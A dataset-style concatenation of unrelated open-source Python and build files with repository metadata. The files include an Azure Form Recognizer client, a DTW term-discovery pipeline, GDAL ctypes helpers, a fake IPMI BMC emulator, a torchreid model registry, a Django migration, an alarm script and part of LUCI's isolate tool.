return target
@distributed_trace
def begin_copy_model(
self,
model_id, # type: str
target, # type: Dict
**kwargs # type: Any
):
# type: (...) -> LROPoller[CustomFormModelInfo]
"""Copy a custom model stored in this resource (the source) to the user specified
target Form Recognizer resource. This should be called with the source Form Recognizer resource
(with the model that is intended to be copied). The `target` parameter should be supplied from the
target resource's output from calling the :func:`~get_copy_authorization()` method.
:param str model_id: Model identifier of the model to copy to target resource.
:param dict target:
The copy authorization generated from the target resource's call to
:func:`~get_copy_authorization()`.
:keyword str continuation_token: A continuation token to restart a poller from a saved state.
:return: An instance of an LROPoller. Call `result()` on the poller
object to return a :class:`~azure.ai.formrecognizer.CustomFormModelInfo`.
:rtype: ~azure.core.polling.LROPoller[~azure.ai.formrecognizer.CustomFormModelInfo]
:raises ~azure.core.exceptions.HttpResponseError:
.. admonition:: Example:
.. literalinclude:: ../samples/sample_copy_model.py
:start-after: [START begin_copy_model]
:end-before: [END begin_copy_model]
:language: python
:dedent: 8
:caption: Copy a model from the source resource to the target resource
"""
if not model_id:
raise ValueError("model_id cannot be None or empty.")
polling_interval = kwargs.pop(
"polling_interval", self._client._config.polling_interval
)
continuation_token = kwargs.pop("continuation_token", None)
def _copy_callback(raw_response, _, headers): # pylint: disable=unused-argument
copy_operation = self._deserialize(
self._generated_models.CopyOperationResult, raw_response
)
model_id = (
copy_operation.copy_result.model_id
if hasattr(copy_operation, "copy_result")
else None
)
if model_id:
return CustomFormModelInfo._from_generated(
copy_operation, model_id, api_version=self._api_version
)
if target:
return CustomFormModelInfo._from_generated(
copy_operation, target["model_id"], api_version=self._api_version
)
return CustomFormModelInfo._from_generated(
copy_operation, None, api_version=self._api_version
)
return self._client.begin_copy_custom_model( # type: ignore
model_id=model_id,
copy_request=CopyRequest(
target_resource_id=target["resourceId"],
target_resource_region=target["resourceRegion"],
copy_authorization=CopyAuthorizationResult(
access_token=target["accessToken"],
model_id=target["modelId"],
expiration_date_time_ticks=target["expirationDateTimeTicks"],
),
)
if target
else None,
cls=kwargs.pop("cls", _copy_callback),
polling=LROBasePolling(
timeout=polling_interval, lro_algorithms=[CopyPolling()], **kwargs
),
continuation_token=continuation_token,
**kwargs
)
@distributed_trace
def begin_create_composed_model(self, model_ids, **kwargs):
# type: (List[str], Any) -> LROPoller[CustomFormModel]
"""Creates a composed model from a collection of existing models that were trained with labels.
A composed model allows multiple models to be called with a single model ID. When a document is
submitted to be analyzed with a composed model ID, a classification step is first performed to
route it to the correct custom model.
:param list[str] model_ids: List of model IDs to use in the composed model.
:keyword str model_name: An optional, user-defined name to associate with your model.
:keyword str continuation_token: A continuation token to restart a poller from a saved state.
:return: An instance of an LROPoller. Call `result()` on the poller
object to return a :class:`~azure.ai.formrecognizer.CustomFormModel`.
:rtype: ~azure.core.polling.LROPoller[~azure.ai.formrecognizer.CustomFormModel]
:raises ~azure.core.exceptions.HttpResponseError:
.. versionadded:: v2.1
The *begin_create_composed_model* client method
.. admonition:: Example:
.. literalinclude:: ../samples/sample_create_composed_model.py
:start-after: [START begin_create_composed_model]
:end-before: [END begin_create_composed_model]
:language: python
:dedent: 8
:caption: Create a composed model
"""
def _compose_callback(
raw_response, _, headers
): # pylint: disable=unused-argument
model = self._deserialize(self._generated_models.Model, raw_response)
return CustomFormModel._from_generated_composed(model)
model_name = kwargs.pop("model_name", None)
polling_interval = kwargs.pop(
"polling_interval", self._client._config.polling_interval
)
continuation_token = kwargs.pop("continuation_token", None)
try:
return self._client.begin_compose_custom_models_async(
{"model_ids": model_ids, "model_name": model_name},
cls=kwargs.pop("cls", _compose_callback),
polling=LROBasePolling(
timeout=polling_interval,
lro_algorithms=[TrainingPolling()],
**kwargs
),
continuation_token=continuation_token,
**kwargs
)
except ValueError:
raise ValueError(
"Method 'begin_create_composed_model' is only available for API version V2_1 and up"
)
def get_form_recognizer_client(self, **kwargs):
# type: (Any) -> FormRecognizerClient
"""Get an instance of a FormRecognizerClient from FormTrainingClient.
:rtype: ~azure.ai.formrecognizer.FormRecognizerClient
:return: A FormRecognizerClient
"""
_pipeline = Pipeline(
transport=TransportWrapper(self._client._client._pipeline._transport),
policies=self._client._client._pipeline._impl_policies,
) # type: Pipeline
client = FormRecognizerClient(
endpoint=self._endpoint,
credential=self._credential,
pipeline=_pipeline,
api_version=self._api_version,
**kwargs
)
# need to share config, but can't pass as a keyword into client
client._client._config = self._client._client._config
return client
def close(self):
# type: () -> None
"""Close the :class:`~azure.ai.formrecognizer.FormTrainingClient` session."""
return self._client.close()
def __enter__(self):
# type: () -> FormTrainingClient
self._client.__enter__() # pylint:disable=no-member
return self
def __exit__(self, *args):
# type: (*Any) -> None
self._client.__exit__(*args) # pylint:disable=no-member
| 44.090909 | 116 | 0.633849 |
795c49f7868e94e3a8461280513a3d7fe71eccbd | 3,724 | py | Python | utils/sdtw_pipeline.py | korhanpolat/phoenix_term_discovery | 61532ff89d6de37dadd2a137dc1cfc3f66a04190 | [
"MIT"
] | null | null | null | utils/sdtw_pipeline.py | korhanpolat/phoenix_term_discovery | 61532ff89d6de37dadd2a137dc1cfc3f66a04190 | [
"MIT"
] | 1 | 2021-05-10T17:13:30.000Z | 2021-05-10T17:13:30.000Z | utils/sdtw_pipeline.py | korhanpolat/phoenix_term_discovery | 61532ff89d6de37dadd2a137dc1cfc3f66a04190 | [
"MIT"
] | null | null | null | from utils.eval import evaluate
from joblib import Parallel, delayed
from itertools import combinations
from utils.sdtw_funcs import sdtw_jit, LCMA_jit, joints_loss, sdtw_np, LCMA_jit_new
from utils.ZR_utils import new_match_dict, change_post_disc_thr, post_disc2, get_nodes_df, get_clusters_list, run_disc_ZR, get_matches_all
from utils.ZR_cat import run_disc_ZR_feats_concat
import pandas as pd
import numpy as np
from utils.feature_utils import get_features_array_for_seq_name, get_paths_for_features, normalize_frames, kl_symmetric_pairwise
from sklearn.metrics.pairwise import euclidean_distances, cosine_distances, cosine_similarity
from utils.eval import evaluate, save_token_frames_per_cluster, number_of_discovered_frames
from utils.helper_fncs import save_obj, load_obj
from os.path import join
import os
import traceback
from utils.discovery_utils import *
from numba import jit, prange
@jit(nopython=True)
def dist_to_edge_weight(distortion, thr):
return max(0, (thr - distortion) / thr)
@jit
def gen_seeds(mat_shape, w=8, overlap=False):
if not overlap: w = 2 * w
seeds = []
for k in range(int(np.floor((mat_shape[0] - 1) / (w + 1)))): seeds.append((k * (w + 1), 0))
for k in range(1, int(np.floor((mat_shape[1] - 1) / (w + 1)))): seeds.append((0, k * (w + 1)))
return seeds
@jit
def sdtw_min_paths_jit(dist_mat, w, seeds):
# returns best paths for each seed
paths = []
for seed in seeds:
path, cost, matrix = sdtw_jit(dist_mat, w=w, start=seed)
paths.append(path)
return paths
def compute_pairwise_distmat(feats0, feats1, loss_func):
if 'euclid' in loss_func:
dist_mat = euclidean_distances(feats0, feats1)
elif 'cosine' in loss_func:
dist_mat = cosine_distances(feats0, feats1)
elif 'log_cosine' in loss_func:
dist_mat = -np.log(1e-8 + cosine_similarity(feats0, feats1) )
elif 'kl' in loss_func:
dist_mat = kl_symmetric_pairwise(feats0, feats1)
return dist_mat
def run_disc_given_distmat(dist_mat, fs, params):
f0,f1 = fs
matches_info = []
seeds = gen_seeds(dist_mat.shape, params['w'], overlap=params['diag_olap'])
paths = sdtw_min_paths_jit(dist_mat, params['w'], seeds)
for k, path in enumerate(paths):
path_distortion = dist_mat[[pair[0] for pair in path], [pair[1] for pair in path]]
s, e, cost = LCMA_jit_new(path_distortion, params['L'],
extend_r=params['extend_r'],
end_cut=params['end_cut'])
s0, e0 = path[s][0], path[e][0]
s1, e1 = path[s][1], path[e][1]
# edge_w = dist_to_edge_weight(cost, thr)
if abs((e1 - s1) - (e0 - s0)) / float(e - s) < params['diag_thr']:
matches_info.append(new_match_dict((f0, f1),
(s0, e0, s1, e1, cost)))
return matches_info
def run_disc_single_pair( fs, feats_dict, params):
f0,f1 = sorted(fs)
dist_mat = compute_pairwise_distmat(feats_dict[f0],
feats_dict[f1],
params['loss_func'])
matches_info = run_disc_given_distmat(dist_mat, (f0,f1), params)
return matches_info
def run_disc_pairwise(feats_dict, params):
seq_names = sorted(feats_dict.keys())
matches = Parallel(n_jobs=params['njobs'])(
delayed(run_disc_single_pair)((f0,f1),
feats_dict, params['disc'])
for f0,f1 in combinations(seq_names,2) )
matches = [item for sublist in matches for item in sublist]
return matches
| 30.77686 | 138 | 0.644737 |
795c4bb6f08542b6f2386ee9e144a66598d2bc4d | 4,614 | py | Python | djmodels/contrib/gis/gdal/prototypes/generation.py | iMerica/dj-models | fbe4a55ac362f9355a2298f58aa0deb0b6082e19 | [
"BSD-3-Clause"
] | 5 | 2019-02-15T16:47:50.000Z | 2021-12-26T18:52:23.000Z | djmodels/contrib/gis/gdal/prototypes/generation.py | iMerica/dj-models | fbe4a55ac362f9355a2298f58aa0deb0b6082e19 | [
"BSD-3-Clause"
] | null | null | null | djmodels/contrib/gis/gdal/prototypes/generation.py | iMerica/dj-models | fbe4a55ac362f9355a2298f58aa0deb0b6082e19 | [
"BSD-3-Clause"
] | 2 | 2021-08-09T02:29:09.000Z | 2021-08-20T03:30:11.000Z | """
This module contains functions that generate ctypes prototypes for the
GDAL routines.
"""
from ctypes import POINTER, c_char_p, c_double, c_int, c_int64, c_void_p
from functools import partial
from djmodels.contrib.gis.gdal.prototypes.errcheck import (
check_arg_errcode, check_const_string, check_errcode, check_geom,
check_geom_offset, check_pointer, check_srs, check_str_arg, check_string,
)
class gdal_char_p(c_char_p):
pass
def double_output(func, argtypes, errcheck=False, strarg=False, cpl=False):
"Generate a ctypes function that returns a double value."
func.argtypes = argtypes
func.restype = c_double
if errcheck:
func.errcheck = partial(check_arg_errcode, cpl=cpl)
if strarg:
func.errcheck = check_str_arg
return func
def geom_output(func, argtypes, offset=None):
"""
Generate a function that returns a Geometry either by reference
or directly (if the return_geom keyword is set to True).
"""
# Setting the argument types
func.argtypes = argtypes
if not offset:
# When a geometry pointer is directly returned.
func.restype = c_void_p
func.errcheck = check_geom
else:
# Error code returned, geometry is returned by-reference.
func.restype = c_int
def geomerrcheck(result, func, cargs):
return check_geom_offset(result, func, cargs, offset)
func.errcheck = geomerrcheck
return func
def int_output(func, argtypes, errcheck=None):
"Generate a ctypes function that returns an integer value."
func.argtypes = argtypes
func.restype = c_int
if errcheck:
func.errcheck = errcheck
return func
def int64_output(func, argtypes):
"Generate a ctypes function that returns a 64-bit integer value."
func.argtypes = argtypes
func.restype = c_int64
return func
def srs_output(func, argtypes):
"""
Generate a ctypes prototype for the given function with
the given C arguments that returns a pointer to an OGR
Spatial Reference System.
"""
func.argtypes = argtypes
func.restype = c_void_p
func.errcheck = check_srs
return func
def const_string_output(func, argtypes, offset=None, decoding=None, cpl=False):
func.argtypes = argtypes
if offset:
func.restype = c_int
else:
func.restype = c_char_p
def _check_const(result, func, cargs):
res = check_const_string(result, func, cargs, offset=offset, cpl=cpl)
if res and decoding:
res = res.decode(decoding)
return res
func.errcheck = _check_const
return func
def string_output(func, argtypes, offset=-1, str_result=False, decoding=None):
"""
Generate a ctypes prototype for the given function with the
given argument types that returns a string from a GDAL pointer.
The `const` flag indicates whether the allocated pointer should
be freed via the GDAL library routine VSIFree -- but only applies
only when `str_result` is True.
"""
func.argtypes = argtypes
if str_result:
# Use subclass of c_char_p so the error checking routine
# can free the memory at the pointer's address.
func.restype = gdal_char_p
else:
# Error code is returned
func.restype = c_int
# Dynamically defining our error-checking function with the
# given offset.
def _check_str(result, func, cargs):
res = check_string(result, func, cargs, offset=offset, str_result=str_result)
if res and decoding:
res = res.decode(decoding)
return res
func.errcheck = _check_str
return func
def void_output(func, argtypes, errcheck=True, cpl=False):
"""
For functions that don't only return an error code that needs to
be examined.
"""
if argtypes:
func.argtypes = argtypes
if errcheck:
# `errcheck` keyword may be set to False for routines that
# return void, rather than a status code.
func.restype = c_int
func.errcheck = partial(check_errcode, cpl=cpl)
else:
func.restype = None
return func
def voidptr_output(func, argtypes, errcheck=True):
"For functions that return c_void_p."
func.argtypes = argtypes
func.restype = c_void_p
if errcheck:
func.errcheck = check_pointer
return func
def chararray_output(func, argtypes, errcheck=True):
"""For functions that return a c_char_p array."""
func.argtypes = argtypes
func.restype = POINTER(c_char_p)
if errcheck:
func.errcheck = check_pointer
return func
| 29.018868 | 85 | 0.684222 |
795c4cd1f7867e91f37a31a12dc8736f14b0411a | 2,869 | py | Python | fakebmc.py | samveen/PiZBMC | 1d8a656f36e88b0519507026af8296fd3b9038ff | [
"BSD-2-Clause"
] | 1 | 2020-09-17T15:10:36.000Z | 2020-09-17T15:10:36.000Z | fakebmc.py | samveen/PiZBMC | 1d8a656f36e88b0519507026af8296fd3b9038ff | [
"BSD-2-Clause"
] | null | null | null | fakebmc.py | samveen/PiZBMC | 1d8a656f36e88b0519507026af8296fd3b9038ff | [
"BSD-2-Clause"
] | null | null | null | #!/usr/bin/python3
# Copyright 2015 Lenovo
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""this is a quick sample of how to write something that acts like a bmc
to play:
run fakebmc
# ipmitool -I lanplus -U admin -P password -H 127.0.0.1 power status
Chassis Power is off
# ipmitool -I lanplus -U admin -P password -H 127.0.0.1 power on
Chassis Power Control: Up/On
# ipmitool -I lanplus -U admin -P password -H 127.0.0.1 power status
Chassis Power is on
# ipmitool -I lanplus -U admin -P password -H 127.0.0.1 mc reset cold
Sent cold reset command to MC
(fakebmc exits)
"""
import argparse
import sys
import pyghmi.ipmi.bmc as bmc
class FakeBmc(bmc.Bmc):
def __init__(self, authdata, port):
super(FakeBmc, self).__init__(authdata, port)
self.powerstate = 'off'
self.bootdevice = 'default'
def get_boot_device(self):
return self.bootdevice
def set_boot_device(self, bootdevice):
self.bootdevice = bootdevice
def cold_reset(self):
# Reset of the BMC, not managed system, here we will exit the demo
print('shutting down in response to BMC cold reset request')
sys.exit(0)
def get_power_state(self):
return self.powerstate
def power_off(self):
# this should be power down without waiting for clean shutdown
self.powerstate = 'off'
print('abruptly remove power')
def power_on(self):
self.powerstate = 'on'
print('powered on')
def power_reset(self):
pass
def power_shutdown(self):
# should attempt a clean shutdown
print('politely shut down the system')
self.powerstate = 'off'
def is_active(self):
return self.powerstate == 'on'
def iohandler(self, data):
print(data)
if self.sol:
self.sol.send_data(data)
def main():
parser = argparse.ArgumentParser(
prog='fakebmc',
description='Pretend to be a BMC',
)
parser.add_argument('--port',
dest='port',
type=int,
default=623,
help='Port to listen on; defaults to 623')
args = parser.parse_args()
mybmc = FakeBmc({'admin': 'password'}, port=args.port)
mybmc.listen()
if __name__ == '__main__':
print("Starting up Fake BMC")
sys.exit(main())
| 28.69 | 74 | 0.650749 |
795c4cdfc4716662fd17efe27b2507f28e0c7f69 | 3,559 | py | Python | torchreid/models/__init__.py | jeongroseok/person-reid-research | f70463c6f55bb72d7c6376811d002c9d48d490f6 | [
"MIT"
] | null | null | null | torchreid/models/__init__.py | jeongroseok/person-reid-research | f70463c6f55bb72d7c6376811d002c9d48d490f6 | [
"MIT"
] | null | null | null | torchreid/models/__init__.py | jeongroseok/person-reid-research | f70463c6f55bb72d7c6376811d002c9d48d490f6 | [
"MIT"
] | null | null | null | from __future__ import absolute_import
import torch
from .pcb import *
from .mlfn import *
from .hacnn import *
from .osnet import *
from .senet import *
from .mudeep import *
from .nasnet import *
from .resnet import *
from .densenet import *
from .xception import *
from .osnet_ain import *
from .resnetmid import *
from .shufflenet import *
from .squeezenet import *
from .inceptionv4 import *
from .mobilenetv2 import *
from .resnet_ibn_a import *
from .resnet_ibn_b import *
from .shufflenetv2 import *
from .inceptionresnetv2 import *
__model_factory = {
# image classification models
'resnet18': resnet18,
'resnet34': resnet34,
'resnet50': resnet50,
'resnet101': resnet101,
'resnet152': resnet152,
'resnext50_32x4d': resnext50_32x4d,
'resnext101_32x8d': resnext101_32x8d,
'resnet50_fc512': resnet50_fc512,
'se_resnet50': se_resnet50,
'se_resnet50_fc512': se_resnet50_fc512,
'se_resnet101': se_resnet101,
'se_resnext50_32x4d': se_resnext50_32x4d,
'se_resnext101_32x4d': se_resnext101_32x4d,
'densenet121': densenet121,
'densenet169': densenet169,
'densenet201': densenet201,
'densenet161': densenet161,
'densenet121_fc512': densenet121_fc512,
'inceptionresnetv2': inceptionresnetv2,
'inceptionv4': inceptionv4,
'xception': xception,
'resnet50_ibn_a': resnet50_ibn_a,
'resnet50_ibn_b': resnet50_ibn_b,
# lightweight models
'nasnsetmobile': nasnetamobile,
'mobilenetv2_x1_0': mobilenetv2_x1_0,
'mobilenetv2_x1_4': mobilenetv2_x1_4,
'shufflenet': shufflenet,
'squeezenet1_0': squeezenet1_0,
'squeezenet1_0_fc512': squeezenet1_0_fc512,
'squeezenet1_1': squeezenet1_1,
'shufflenet_v2_x0_5': shufflenet_v2_x0_5,
'shufflenet_v2_x1_0': shufflenet_v2_x1_0,
'shufflenet_v2_x1_5': shufflenet_v2_x1_5,
'shufflenet_v2_x2_0': shufflenet_v2_x2_0,
# reid-specific models
'mudeep': MuDeep,
'resnet50mid': resnet50mid,
'hacnn': HACNN,
'pcb_p6': pcb_p6,
'pcb_p4': pcb_p4,
'mlfn': mlfn,
'osnet_x1_0': osnet_x1_0,
'osnet_x0_75': osnet_x0_75,
'osnet_x0_5': osnet_x0_5,
'osnet_x0_25': osnet_x0_25,
'osnet_ibn_x1_0': osnet_ibn_x1_0,
'osnet_ain_x1_0': osnet_ain_x1_0
}
def show_avai_models():
"""Displays available models.
Examples::
>>> from torchreid import models
>>> models.show_avai_models()
"""
print(list(__model_factory.keys()))
def build_model(
name,
num_classes,
loss='softmax',
pretrained=True,
use_gpu=True
) -> torch.nn.Module:
"""A function wrapper for building a model.
Args:
name (str): model name.
num_classes (int): number of training identities.
loss (str, optional): loss function to optimize the model. Currently
supports "softmax" and "triplet". Default is "softmax".
pretrained (bool, optional): whether to load ImageNet-pretrained weights.
Default is True.
use_gpu (bool, optional): whether to use gpu. Default is True.
Returns:
nn.Module
Examples::
>>> from torchreid import models
>>> model = models.build_model('resnet50', 751, loss='softmax')
"""
avai_models = list(__model_factory.keys())
if name not in avai_models:
raise KeyError(
'Unknown model: {}. Must be one of {}'.format(name, avai_models)
)
return __model_factory[name](
num_classes=num_classes,
loss=loss,
pretrained=pretrained,
use_gpu=use_gpu
)
| 28.701613 | 81 | 0.683619 |
795c4db4e5328c7e93218aeae3f6dab6939e612a | 2,896 | py | Python | BestStore/product_master/migrations/0001_initial.py | rishabh-22/ECommerce | cc47c71bcfe60db5da10de6be37902a990506326 | [
"MIT"
] | null | null | null | BestStore/product_master/migrations/0001_initial.py | rishabh-22/ECommerce | cc47c71bcfe60db5da10de6be37902a990506326 | [
"MIT"
] | null | null | null | BestStore/product_master/migrations/0001_initial.py | rishabh-22/ECommerce | cc47c71bcfe60db5da10de6be37902a990506326 | [
"MIT"
] | null | null | null | # Generated by Django 2.2.1 on 2019-05-20 10:35
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='Category',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('category', models.CharField(choices=[('Electronic', 'Electronic'), ('Cloth', 'Cloth'), ('Kid', 'Kid')], max_length=20)),
],
),
migrations.CreateModel(
name='Product',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=50)),
('description', models.CharField(max_length=100)),
('price', models.IntegerField(max_length=10)),
('quantity', models.IntegerField(max_length=100)),
('category', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='product_master.Category')),
('merchant', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)),
],
),
migrations.CreateModel(
name='SubCategory',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('title', models.CharField(choices=[('Mobile', 'Mobile'), ('TV', 'TV'), ('Shirt', 'Shirt'), ('Pant', 'Pant'), ('Toy', 'Toy'), ('Book', 'Book')], max_length=20)),
('category', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='product_master.Category')),
],
),
migrations.CreateModel(
name='Tags',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('size', models.CharField(max_length=20)),
('color', models.CharField(max_length=20)),
('weight', models.CharField(max_length=20)),
('sub_category', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='product_master.SubCategory')),
],
),
migrations.CreateModel(
name='ProductImages',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('image', models.ImageField(upload_to='')),
('product_id', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='product_master.Product')),
],
),
]
| 45.968254 | 177 | 0.58529 |
795c4defd93fa74efb960f59de713c1313b62378 | 646 | py | Python | schedulingTasks/alarmCountDown.py | sunil-dhaka/automate-stuff-with-python | 19e841e3ed89788c2c2e0bb4bb6a9ee0e0314ca3 | [
"MIT"
] | null | null | null | schedulingTasks/alarmCountDown.py | sunil-dhaka/automate-stuff-with-python | 19e841e3ed89788c2c2e0bb4bb6a9ee0e0314ca3 | [
"MIT"
] | null | null | null | schedulingTasks/alarmCountDown.py | sunil-dhaka/automate-stuff-with-python | 19e841e3ed89788c2c2e0bb4bb6a9ee0e0314ca3 | [
"MIT"
] | null | null | null | import subprocess,sys,time
def countDown(alarm_file,total_time=1): # in minutes
total_time=total_time*60 # convert into seconds
while(total_time>0):
total_time-=1
time.sleep(1)
print('playing alarm for 10 secs.')
alarm_=subprocess.Popen(['see',alarm_file])
while(alarm_.poll() is None):
time.sleep(1)
print('alarm stopped')
if __name__=="__main__":
if len(sys.argv)>1:
file=sys.argv[1]
try:
total_time=sys.argv[2]
except Exception:
total_time=1
else:
print('give alarm file.')
sys.exit()
countDown(file,total_time) | 24.846154 | 52 | 0.606811 |
795c4e26be44118609add768c675d1703eee8d46 | 2,204 | gyp | Python | binding.gyp | yume-chan/node-svn | 47f2eba70b55dcd15bda745b102668223a2b7f20 | [
"MIT"
] | null | null | null | binding.gyp | yume-chan/node-svn | 47f2eba70b55dcd15bda745b102668223a2b7f20 | [
"MIT"
] | 5 | 2018-03-16T06:48:29.000Z | 2018-04-17T09:47:15.000Z | binding.gyp | yume-chan/node-svn | 47f2eba70b55dcd15bda745b102668223a2b7f20 | [
"MIT"
] | 4 | 2018-04-11T00:06:05.000Z | 2019-10-25T01:34:40.000Z | {
"variables": {
"clang": 0
},
"targets": [
{
"target_name": "svn",
"dependencies": [
"deps/apr/apr.gyp:apr",
"deps/subversion/client.gyp:libsvn_client"
],
"include_dirs": [
"src"
],
"defines!": [
"_HAS_EXCEPTIONS=0"
],
"sources": [
"src/cpp/client.cpp",
"src/cpp/malloc.cpp",
"src/cpp/svn_error.cpp",
"src/node/auth/simple.cpp",
"src/node/export.cpp",
"src/node/node_client.cpp"
],
"cflags_cc": [
"-std=gnu++17",
"-fexceptions"
],
"cflags_cc!": [
"-fno-rtti"
],
"ldflags": [
"-static-libstdc++",
"-static-libgcc"
],
"xcode_settings": {
"GCC_ENABLE_CPP_EXCEPTIONS": "YES",
"CLANG_CXX_LANGUAGE_STANDARD": "gnu++17",
"MACOSX_DEPLOYMENT_TARGET": "10.13",
"OTHER_LDFLAGS": [
"-static-libstdc++",
"-static-libgcc"
]
},
"msvs_settings": {
"VCCLCompilerTool": {
"AdditionalOptions": [
"/std:c++17"
],
"DisableSpecificWarnings": [
"4005"
],
"ExceptionHandling": 1
}
},
"conditions": [
[
"OS == 'win'",
{
"libraries": [
"ws2_32.lib",
"Mincore.lib"
]
},
{
"libraries": [
"-liconv"
]
}
]
]
}
]
}
| 29 | 59 | 0.28176 |
795c4e40f5affc951fe0dd4ac3fd094d4ffb213c | 46,935 | py | Python | client/isolate.py | stefb965/luci-py | e0a8a5640c4104e5c90781d833168aa8a8d1f24d | [
"Apache-2.0"
] | 1 | 2019-04-25T17:50:34.000Z | 2019-04-25T17:50:34.000Z | client/isolate.py | stefb965/luci-py | e0a8a5640c4104e5c90781d833168aa8a8d1f24d | [
"Apache-2.0"
] | null | null | null | client/isolate.py | stefb965/luci-py | e0a8a5640c4104e5c90781d833168aa8a8d1f24d | [
"Apache-2.0"
] | 1 | 2020-07-05T19:54:40.000Z | 2020-07-05T19:54:40.000Z | #!/usr/bin/env python
# Copyright 2012 The LUCI Authors. All rights reserved.
# Use of this source code is governed under the Apache License, Version 2.0
# that can be found in the LICENSE file.
"""Front end tool to operate on .isolate files.
This includes creating, merging or compiling them to generate a .isolated file.
See more information at
https://chromium.googlesource.com/infra/luci/luci-py.git/+/master/appengine/isolate/doc/client/
https://chromium.googlesource.com/infra/luci/luci-py.git/+/master/appengine/isolate/doc/Design.md#file-format
"""
# Run ./isolate.py --help for more detailed information.
__version__ = '0.4.5'
import datetime
import itertools
import logging
import optparse
import os
import re
import subprocess
import sys
import auth
import isolate_format
import isolated_format
import isolateserver
import run_isolated
from third_party import colorama
from third_party.depot_tools import fix_encoding
from third_party.depot_tools import subcommand
from utils import logging_utils
from utils import file_path
from utils import fs
from utils import subprocess42
from utils import tools
# Exit code of 'archive' and 'batcharchive' if the command fails due to an error
# in *.isolate file (format error, or some referenced files are missing, etc.)
EXIT_CODE_ISOLATE_ERROR = 1
# Exit code of 'archive' and 'batcharchive' if the command fails due to
# a network or server issue. It is an infrastructure failure.
EXIT_CODE_UPLOAD_ERROR = 101
# Supported version of *.isolated.gen.json files consumed by CMDbatcharchive.
ISOLATED_GEN_JSON_VERSION = 1
class ExecutionError(Exception):
"""A generic error occurred."""
def __str__(self):
return self.args[0]
### Path handling code.
def recreate_tree(outdir, indir, infiles, action, as_hash):
"""Creates a new tree with only the input files in it.
Arguments:
outdir: Output directory to create the files in.
indir: Root directory the infiles are based in.
infiles: dict of files to map from |indir| to |outdir|.
action: One of accepted action of file_path.link_file().
as_hash: Output filename is the hash instead of relfile.
"""
logging.info(
'recreate_tree(outdir=%s, indir=%s, files=%d, action=%s, as_hash=%s)' %
(outdir, indir, len(infiles), action, as_hash))
assert os.path.isabs(outdir) and outdir == os.path.normpath(outdir), outdir
if not os.path.isdir(outdir):
logging.info('Creating %s' % outdir)
fs.makedirs(outdir)
for relfile, metadata in infiles.iteritems():
infile = os.path.join(indir, relfile)
if as_hash:
# Do the hashtable specific checks.
if 'l' in metadata:
# Skip links when storing a hashtable.
continue
outfile = os.path.join(outdir, metadata['h'])
if os.path.isfile(outfile):
# Just do a quick check that the file size matches. No need to stat()
# again the input file, grab the value from the dict.
if not 's' in metadata:
raise isolated_format.MappingError(
'Misconfigured item %s: %s' % (relfile, metadata))
if metadata['s'] == fs.stat(outfile).st_size:
continue
else:
logging.warn('Overwritting %s' % metadata['h'])
fs.remove(outfile)
else:
outfile = os.path.join(outdir, relfile)
file_path.ensure_tree(os.path.dirname(outfile))
if 'l' in metadata:
pointed = metadata['l']
logging.debug('Symlink: %s -> %s' % (outfile, pointed))
# symlink doesn't exist on Windows.
fs.symlink(pointed, outfile) # pylint: disable=E1101
else:
file_path.link_file(outfile, infile, action)
### Variable stuff.
def _normalize_path_variable(cwd, relative_base_dir, key, value):
"""Normalizes a path variable into a relative directory.
"""
# Variables could contain / or \ on windows. Always normalize to
# os.path.sep.
x = os.path.join(cwd, value.strip().replace('/', os.path.sep))
normalized = file_path.get_native_path_case(os.path.normpath(x))
if not os.path.isdir(normalized):
raise ExecutionError('%s=%s is not a directory' % (key, normalized))
# All variables are relative to the .isolate file.
normalized = os.path.relpath(normalized, relative_base_dir)
logging.debug(
'Translated variable %s from %s to %s', key, value, normalized)
return normalized
def normalize_path_variables(cwd, path_variables, relative_base_dir):
"""Processes path variables as a special case and returns a copy of the dict.
For each 'path' variable: first normalizes it based on |cwd|, verifies it
exists then sets it as relative to relative_base_dir.
"""
logging.info(
'normalize_path_variables(%s, %s, %s)', cwd, path_variables,
relative_base_dir)
assert isinstance(cwd, unicode), cwd
assert isinstance(relative_base_dir, unicode), relative_base_dir
relative_base_dir = file_path.get_native_path_case(relative_base_dir)
return dict(
(k, _normalize_path_variable(cwd, relative_base_dir, k, v))
for k, v in path_variables.iteritems())
### Internal state files.
def isolatedfile_to_state(filename):
"""For a '.isolate' file, returns the path to the saved '.state' file."""
return filename + '.state'
def chromium_save_isolated(isolated, data, path_variables, algo):
"""Writes one or many .isolated files.
This slightly increases the cold cache cost but greatly reduce the warm cache
cost by splitting low-churn files off the master .isolated file. It also
reduces overall isolateserver memcache consumption.
"""
slaves = []
def extract_into_included_isolated(prefix):
new_slave = {
'algo': data['algo'],
'files': {},
'version': data['version'],
}
for f in data['files'].keys():
if f.startswith(prefix):
new_slave['files'][f] = data['files'].pop(f)
if new_slave['files']:
slaves.append(new_slave)
# Split test/data/ in its own .isolated file.
extract_into_included_isolated(os.path.join('test', 'data', ''))
# Split everything out of PRODUCT_DIR in its own .isolated file.
if path_variables.get('PRODUCT_DIR'):
extract_into_included_isolated(path_variables['PRODUCT_DIR'])
files = []
for index, f in enumerate(slaves):
slavepath = isolated[:-len('.isolated')] + '.%d.isolated' % index
tools.write_json(slavepath, f, True)
data.setdefault('includes', []).append(
isolated_format.hash_file(slavepath, algo))
files.append(os.path.basename(slavepath))
